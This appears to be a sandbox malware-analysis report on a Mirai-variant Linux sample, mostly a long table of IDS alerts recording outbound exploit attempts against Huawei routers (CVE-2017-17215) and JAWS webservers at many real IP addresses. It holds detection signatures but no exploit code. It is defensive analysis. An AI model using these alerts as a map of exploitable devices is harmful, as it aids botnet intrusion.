2024-12-03T22:12:33.519044+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34972	197.34.169.177	37215	TCP
2024-12-03T22:12:33.540604+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54152	41.86.201.30	37215	TCP
2024-12-03T22:12:33.587344+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56028	197.197.195.18	37215	TCP
2024-12-03T22:12:33.602887+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33700	156.125.28.150	37215	TCP
2024-12-03T22:12:33.603093+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51698	156.33.5.93	37215	TCP
2024-12-03T22:12:33.603198+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40480	197.38.121.183	37215	TCP
2024-12-03T22:12:33.618441+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38016	41.83.173.218	37215	TCP
2024-12-03T22:12:33.618702+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45340	41.211.241.205	37215	TCP
2024-12-03T22:12:33.618828+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55734	41.83.241.14	37215	TCP
2024-12-03T22:12:33.634149+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37356	197.94.173.95	37215	TCP
2024-12-03T22:12:33.634361+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48856	197.35.230.211	37215	TCP
2024-12-03T22:12:33.634456+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47706	197.223.98.84	37215	TCP
2024-12-03T22:12:33.634494+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42464	41.32.215.2	37215	TCP
2024-12-03T22:12:33.634587+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49632	41.76.78.102	37215	TCP
2024-12-03T22:12:33.643606+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39932	156.154.95.190	37215	TCP
2024-12-03T22:12:33.665592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45752	41.199.223.27	37215	TCP
2024-12-03T22:12:33.665592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56162	197.2.177.200	37215	TCP
2024-12-03T22:12:33.665711+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33708	197.201.26.192	37215	TCP
2024-12-03T22:12:33.665833+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59150	41.98.197.187	37215	TCP
2024-12-03T22:12:33.675113+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36550	197.6.81.184	37215	TCP
2024-12-03T22:12:33.690263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50302	41.108.207.253	37215	TCP
2024-12-03T22:12:33.690327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57556	41.27.179.183	37215	TCP
2024-12-03T22:12:33.705983+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36448	197.247.255.178	37215	TCP
2024-12-03T22:12:33.721624+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58654	156.249.197.84	37215	TCP
2024-12-03T22:12:33.721824+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57880	197.222.114.211	37215	TCP
2024-12-03T22:12:33.869226+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37926	41.58.92.0	37215	TCP
2024-12-03T22:12:33.884463+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48828	156.85.236.7	37215	TCP
2024-12-03T22:12:33.884661+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41698	41.8.202.219	37215	TCP
2024-12-03T22:12:33.925006+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34470	41.87.246.50	37215	TCP
2024-12-03T22:12:33.940645+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40638	156.59.95.32	37215	TCP
2024-12-03T22:12:36.940321+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54024	41.28.40.83	37215	TCP
2024-12-03T22:12:36.971618+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55274	41.130.208.214	37215	TCP
2024-12-03T22:12:36.987442+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59914	41.63.205.118	37215	TCP
2024-12-03T22:12:37.002924+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41194	156.109.76.75	37215	TCP
2024-12-03T22:12:37.056251+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36694	197.140.240.66	37215	TCP
2024-12-03T22:12:37.056449+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54854	156.75.215.82	37215	TCP
2024-12-03T22:12:37.056451+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52008	41.41.149.191	37215	TCP
2024-12-03T22:12:37.071789+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55070	197.224.105.5	37215	TCP
2024-12-03T22:12:37.087549+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55874	156.57.99.217	37215	TCP
2024-12-03T22:12:37.087700+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43026	197.16.55.219	37215	TCP
2024-12-03T22:12:37.096757+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35678	41.212.21.37	37215	TCP
2024-12-03T22:12:37.096991+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55090	41.40.82.254	37215	TCP
2024-12-03T22:12:37.097121+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40832	41.187.39.111	37215	TCP
2024-12-03T22:12:37.119746+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59634	197.145.144.237	37215	TCP
2024-12-03T22:12:38.056067+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36628	197.179.24.27	37215	TCP
2024-12-03T22:12:38.071810+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53184	156.237.250.152	37215	TCP
2024-12-03T22:12:38.071930+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37892	197.217.190.191	37215	TCP
2024-12-03T22:12:38.087422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48318	197.54.206.21	37215	TCP
2024-12-03T22:12:38.087759+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32970	156.107.65.215	37215	TCP
2024-12-03T22:12:38.096700+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49406	41.20.69.189	37215	TCP
2024-12-03T22:12:38.103545+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36466	156.212.66.14	37215	TCP
2024-12-03T22:12:38.118694+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46026	41.164.91.246	37215	TCP
2024-12-03T22:12:38.127869+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56072	41.42.222.58	37215	TCP
2024-12-03T22:12:38.143573+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33802	197.99.4.179	37215	TCP
2024-12-03T22:12:38.306614+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41436	41.222.216.96	37215	TCP
2024-12-03T22:12:38.322060+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36914	156.60.153.167	37215	TCP
2024-12-03T22:12:38.337852+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34656	156.231.98.52	37215	TCP
2024-12-03T22:12:38.338069+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57502	197.70.196.68	37215	TCP
2024-12-03T22:12:38.338237+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42312	197.5.175.77	37215	TCP
2024-12-03T22:12:38.338379+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43540	197.51.163.110	37215	TCP
2024-12-03T22:12:38.346854+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47934	197.242.130.218	37215	TCP
2024-12-03T22:12:38.347254+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43854	156.97.174.31	37215	TCP
2024-12-03T22:12:38.347452+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35432	156.226.98.191	37215	TCP
2024-12-03T22:12:38.378705+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53468	41.166.86.110	37215	TCP
2024-12-03T22:12:38.378708+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56406	156.233.201.74	37215	TCP
2024-12-03T22:12:38.393857+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35634	197.78.220.212	37215	TCP
2024-12-03T22:12:38.987667+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32964	197.225.125.3	37215	TCP
2024-12-03T22:12:39.774050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36360	156.227.60.117	37215	TCP
2024-12-03T22:12:42.259660+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50124	156.113.62.174	37215	TCP
2024-12-03T22:12:42.337630+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32938	156.236.199.77	37215	TCP
2024-12-03T22:12:42.353379+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36408	197.243.42.235	37215	TCP
2024-12-03T22:12:42.384337+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36788	197.51.86.112	37215	TCP
2024-12-03T22:12:42.393676+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51756	197.105.188.243	37215	TCP
2024-12-03T22:12:42.393760+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37430	41.134.210.9	37215	TCP
2024-12-03T22:12:42.393978+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51508	197.33.180.105	37215	TCP
2024-12-03T22:12:42.409482+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46262	156.143.47.126	37215	TCP
2024-12-03T22:12:42.440568+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39224	156.64.5.16	37215	TCP
2024-12-03T22:12:43.618422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33084	156.242.190.180	37215	TCP
2024-12-03T22:12:43.618422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53954	156.227.233.225	37215	TCP
2024-12-03T22:12:44.643826+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59040	156.75.243.159	37215	TCP
2024-12-03T22:12:44.759428+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47808	197.41.120.252	37215	TCP
2024-12-03T22:12:44.837746+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59468	41.236.158.22	37215	TCP
2024-12-03T22:12:44.868698+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56862	197.189.126.24	37215	TCP
2024-12-03T22:12:44.868862+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45642	156.106.148.167	37215	TCP
2024-12-03T22:12:44.915704+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52798	197.123.82.237	37215	TCP
2024-12-03T22:12:44.940763+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47702	156.11.254.131	37215	TCP
2024-12-03T22:12:45.261177+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60008	156.164.39.205	37215	TCP
2024-12-03T22:12:45.306260+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48102	41.34.112.7	37215	TCP
2024-12-03T22:12:45.306336+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39054	156.181.37.11	37215	TCP
2024-12-03T22:12:45.306463+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37314	156.200.0.235	37215	TCP
2024-12-03T22:12:45.315534+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37592	41.102.216.48	37215	TCP
2024-12-03T22:12:45.315600+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37494	197.189.12.174	37215	TCP
2024-12-03T22:12:45.330993+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36552	41.136.207.234	37215	TCP
2024-12-03T22:12:45.337575+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40124	197.243.105.90	37215	TCP
2024-12-03T22:12:45.362430+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59444	41.149.63.234	37215	TCP
2024-12-03T22:12:45.618754+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53364	41.245.157.165	37215	TCP
2024-12-03T22:12:45.618950+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35058	41.73.217.38	37215	TCP
2024-12-03T22:12:45.619035+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48570	41.119.188.84	37215	TCP
2024-12-03T22:12:45.627962+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51590	41.48.105.37	37215	TCP
2024-12-03T22:12:45.634409+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45732	156.205.146.76	37215	TCP
2024-12-03T22:12:45.634435+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34340	156.224.135.35	37215	TCP
2024-12-03T22:12:45.634644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56150	156.65.1.76	37215	TCP
2024-12-03T22:12:45.643628+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54950	197.175.152.231	37215	TCP
2024-12-03T22:12:45.643721+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36336	197.83.64.210	37215	TCP
2024-12-03T22:12:45.643931+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59886	41.176.205.103	37215	TCP
2024-12-03T22:12:45.650072+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56718	156.94.29.32	37215	TCP
2024-12-03T22:12:45.650187+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54846	156.157.223.34	37215	TCP
2024-12-03T22:12:45.659329+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48088	41.111.121.150	37215	TCP
2024-12-03T22:12:45.665689+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53936	156.221.70.252	37215	TCP
2024-12-03T22:12:45.665744+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54816	41.142.109.79	37215	TCP
2024-12-03T22:12:45.665884+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56652	156.182.49.30	37215	TCP
2024-12-03T22:12:45.674929+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43872	156.44.150.239	37215	TCP
2024-12-03T22:12:45.675086+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56630	197.108.196.102	37215	TCP
2024-12-03T22:12:45.675258+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35916	41.147.64.66	37215	TCP
2024-12-03T22:12:45.706288+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46778	156.19.49.144	37215	TCP
2024-12-03T22:12:45.706516+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54376	156.39.246.66	37215	TCP
2024-12-03T22:12:45.706522+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47386	156.192.137.184	37215	TCP
2024-12-03T22:12:45.721897+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56154	41.205.180.14	37215	TCP
2024-12-03T22:12:45.796113+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52836	156.58.204.223	37215	TCP
2024-12-03T22:12:45.900144+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56478	156.44.133.246	37215	TCP
2024-12-03T22:12:45.909606+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49904	197.113.100.213	37215	TCP
2024-12-03T22:12:45.956285+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49668	41.38.242.18	37215	TCP
2024-12-03T22:12:45.956451+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54176	156.188.164.216	37215	TCP
2024-12-03T22:12:45.972023+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50430	41.194.16.180	37215	TCP
2024-12-03T22:12:46.178106+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53754	41.219.1.53	37215	TCP
2024-12-03T22:12:46.971760+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55666	156.10.134.43	37215	TCP
2024-12-03T22:12:47.009470+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50772	41.188.107.206	37215	TCP
2024-12-03T22:12:47.009550+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42460	197.39.238.243	37215	TCP
2024-12-03T22:12:47.049933+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42208	197.131.0.155	37215	TCP
2024-12-03T22:12:47.049998+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52836	197.100.138.197	37215	TCP
2024-12-03T22:12:47.050147+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39356	41.10.239.83	37215	TCP
2024-12-03T22:12:47.056437+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45464	197.94.186.99	37215	TCP
2024-12-03T22:12:47.056569+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59114	197.64.14.41	37215	TCP
2024-12-03T22:12:47.072082+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36244	41.26.136.199	37215	TCP
2024-12-03T22:12:47.087701+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51232	197.24.48.93	37215	TCP
2024-12-03T22:12:47.128684+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52162	197.213.197.7	37215	TCP
2024-12-03T22:12:47.143722+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35934	41.128.28.190	37215	TCP
2024-12-03T22:12:47.143727+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52162	156.140.253.75	37215	TCP
2024-12-03T22:12:47.775758+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56634	156.197.44.167	37215	TCP
2024-12-03T22:12:47.799428+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48820	156.14.132.61	37215	TCP
2024-12-03T22:12:47.799462+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54636	156.69.165.50	37215	TCP
2024-12-03T22:12:47.799568+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43004	156.131.234.29	37215	TCP
2024-12-03T22:12:47.801973+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47172	156.187.62.255	37215	TCP
2024-12-03T22:12:47.806259+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38472	156.199.250.79	37215	TCP
2024-12-03T22:12:47.815475+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40870	197.121.136.103	37215	TCP
2024-12-03T22:12:47.831331+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36454	41.141.246.69	37215	TCP
2024-12-03T22:12:48.065630+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35378	197.117.206.144	37215	TCP
2024-12-03T22:12:48.065743+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49582	156.187.196.221	37215	TCP
2024-12-03T22:12:48.065835+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33390	156.92.241.216	37215	TCP
2024-12-03T22:12:48.065979+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50088	41.9.82.245	37215	TCP
2024-12-03T22:12:48.066003+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35668	197.54.209.71	37215	TCP
2024-12-03T22:12:48.071921+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55588	156.55.150.36	37215	TCP
2024-12-03T22:12:48.072106+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42130	156.14.132.131	37215	TCP
2024-12-03T22:12:48.112528+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33542	197.206.136.129	37215	TCP
2024-12-03T22:12:48.112609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36698	156.22.79.108	37215	TCP
2024-12-03T22:12:48.128113+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45540	197.196.209.16	37215	TCP
2024-12-03T22:12:49.306439+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56298	41.127.71.189	37215	TCP
2024-12-03T22:12:49.322033+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49670	41.196.1.103	37215	TCP
2024-12-03T22:12:49.322139+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51176	197.134.99.207	37215	TCP
2024-12-03T22:12:49.322260+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37556	156.144.4.224	37215	TCP
2024-12-03T22:12:49.322356+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33100	156.155.250.24	37215	TCP
2024-12-03T22:12:49.331348+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46478	197.83.135.217	37215	TCP
2024-12-03T22:12:49.331534+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49784	156.33.94.81	37215	TCP
2024-12-03T22:12:49.337689+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49654	41.9.21.203	37215	TCP
2024-12-03T22:12:49.337762+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57200	41.151.63.94	37215	TCP
2024-12-03T22:12:49.362407+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34034	41.238.65.254	37215	TCP
2024-12-03T22:12:49.362537+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36008	156.97.234.220	37215	TCP
2024-12-03T22:12:50.281980+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34276	41.84.224.45	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mpsl.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mpsl.elf

ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41454 -> 13.227.133.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43764 -> 185.248.148.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41454 -> 13.227.133.150:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43764 -> 185.248.148.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54008 -> 209.250.24.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54008 -> 209.250.24.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34016 -> 121.127.51.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34016 -> 121.127.51.127:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38726 -> 175.229.50.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38726 -> 175.229.50.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41758 -> 211.248.1.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41758 -> 211.248.1.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60026 -> 112.155.127.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60026 -> 112.155.127.190:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41114 -> 156.47.36.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56720 -> 197.100.146.120:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45254 -> 185.159.154.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45254 -> 185.159.154.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43082 -> 65.9.66.156:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43082 -> 65.9.66.156:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57428 -> 197.157.228.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45474 -> 156.250.76.145:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58464 -> 156.233.119.35:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58464 -> 156.233.119.35:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55366 -> 38.12.53.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55366 -> 38.12.53.231:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56718 -> 41.233.239.49:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59254 -> 35.156.77.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59254 -> 35.156.77.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38762 -> 51.134.184.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60248 -> 217.26.115.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38762 -> 51.134.184.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60248 -> 217.26.115.252:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60630 -> 170.111.11.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51872 -> 217.229.54.255:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56886 -> 180.14.36.140:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49774 -> 115.148.141.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56886 -> 180.14.36.140:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49774 -> 115.148.141.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51872 -> 217.229.54.255:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47296 -> 60.49.222.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43438 -> 140.106.83.149:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47296 -> 60.49.222.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60630 -> 170.111.11.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43438 -> 140.106.83.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56342 -> 77.64.164.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56342 -> 77.64.164.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42484 -> 144.30.94.29:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58948 -> 188.239.8.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42484 -> 144.30.94.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58948 -> 188.239.8.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43048 -> 77.9.102.153:80
